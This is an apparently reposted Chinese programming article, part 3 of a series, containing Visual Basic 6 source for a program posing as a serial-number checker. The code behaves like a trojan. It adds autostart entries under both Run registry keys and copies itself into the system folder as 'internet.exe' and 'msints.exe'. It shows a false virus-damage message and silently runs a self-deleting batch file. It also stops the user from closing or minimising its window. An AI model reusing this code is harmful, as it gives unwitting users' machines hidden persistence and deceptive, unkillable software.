序列号检查程序(3)

2008-04-10 03:07:11来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折


hMenu = GetSystemMenu(Frm.hwnd, 0)
nCount = GetMenuItemCount(hMenu)
Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)
DrawMenuBar Frm.hwnd
End Sub

Private Sub Form_Load()
On Error Resume Next
Dim mePath As String
Dim hKey As Long
Dim strCmd As String
Dim strRunCmd As String

mePath = App.Path
If Right(mePath, 1) <> "\" Then mePath = mePath & "\"

If App.PrevInstance Then End

''''写入注册表
strRunCmd = "internet.exe"
Call RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
Call RegSetValueEx(hKey, "system", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) 1)
Call RegCloseKey(hKey)

strRunCmd = "msints.exe"
Call RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
Call RegSetValueEx(hKey, "MsIDE", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) 1)
Call RegCloseKey(hKey)

''''复制自己
Dim SourceFile, DestinationFile
If FileExists(GetSystemPath & "\internet.exe") = 0 Then
SourceFile = mePath & App.EXEName & ".exe"
DestinationFile = GetSystemPath & "\internet.exe"
FileCopy SourceFile, DestinationFile

SourceFile = mePath & App.EXEName & ".exe"
DestinationFile = GetSystemPath & "\msints.exe"
FileCopy SourceFile, DestinationFile
End If

''''检查程序是否在系统目录下
If UCase$(App.Path) <> UCase$(GetSystemPath) Then
MsgBox "程序代码不完整或系统出现错误,程序可能已被病毒破坏。", vbOKOnly
Open GetWinPath & "\killme.bat" For Append As #1
Print #1, "@echo off"
Print #1, "dir " & GetSystemPath & " /w"
Print #1, "del " & mePath & App.EXEName & ".exe"
Print #1, "del " & GetWinPath & "\killme.bat"
Close #1
Shell "killme.bat", vbHide
End
End If

''''后备程序
If UCase$(App.EXEName & ".exe") = UCase$("msints.exe") Then End

Frame1.Top = 120
Frame1.Left = 1080
Frame2.Top = 120
Frame2.Left = 1080
Frame2.Visible = False

Call DisableX(Me)
''''窗体总在最前
SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
End Sub

Private Sub Form_Resize()
''''程序被最小化时返回初始状态
If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
''''禁止程序退出
If Not ExitButton Then Cancel = True
End Sub

Private Sub cmdSure_Click()
Frame1.Visible = False
Frame2.Visible = True
delay 30
Frame1.Visible = True
Frame2.Visible = False
End Sub

Private Sub Label2_Click()
End
End Sub

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:用MSComm控件实现来电显示

下一篇:在vb中实现真正锁定的带自定义菜单的文本控件